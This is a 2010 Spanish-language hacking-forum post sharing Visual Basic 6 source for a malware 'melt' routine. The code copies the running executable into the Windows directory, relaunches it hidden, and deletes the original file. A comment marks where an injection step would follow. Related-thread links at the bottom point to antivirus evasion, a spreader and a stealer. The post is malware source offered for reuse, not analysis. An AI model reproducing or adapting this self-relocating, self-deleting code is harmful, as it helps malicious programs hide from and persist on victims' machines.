comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[VB] Melt Simple

  • 0 Respuestas
  • 1331 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
« en: Agosto 30, 2010, 06:31:44 pm »
Bueno aqui les dejo un melt simple que cree hace un tiem po y lo tenia por ahi tirado xD

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
Private Declare Function ShellExecute Lib “shell32.dll” Alias “ShellExecuteA” (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Public Function DrinkyMelt(Datos As String) As Boolean
If App.Path = Environ(“windir”) Then
Kill Datos
‘ Llegados a este punto ya hemos temrinado el melt y tenemos que llamar a la funcion normal para que siga la ejecucion ejemplo:
‘ Call Inyectar
Else
FileCopy App.Path & “\” & App.EXEName & “.exe”, Environ(“Windir”) & “\Melt.exe”
Call ShellExecute(0, “Open”, Environ(“Windir”) & “\Melt.exe”, App.Path & “\” & App.EXEName & “.exe”, vbNullString, 0)
End
End If
End Function

Private Sub form_load()
Call DrinkyMelt(Command)
End Sub

salu2!

 

¿Te gustó el post? COMPARTILO!



Fudeando .vbs a Nod32 [Simple]

Iniciado por Janpr99

Respuestas: 1
Vistas: 1763
Último mensaje Noviembre 03, 2013, 02:37:10 pm
por Cronos
[VB6] Simple DropBox-Spreader

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2443
Último mensaje Agosto 26, 2013, 12:52:56 am
por ANTRAX
[SCR] Simple Stealer

Iniciado por k0ws

Respuestas: 3
Vistas: 1853
Último mensaje Marzo 31, 2012, 08:31:14 pm
por Pr0ph3t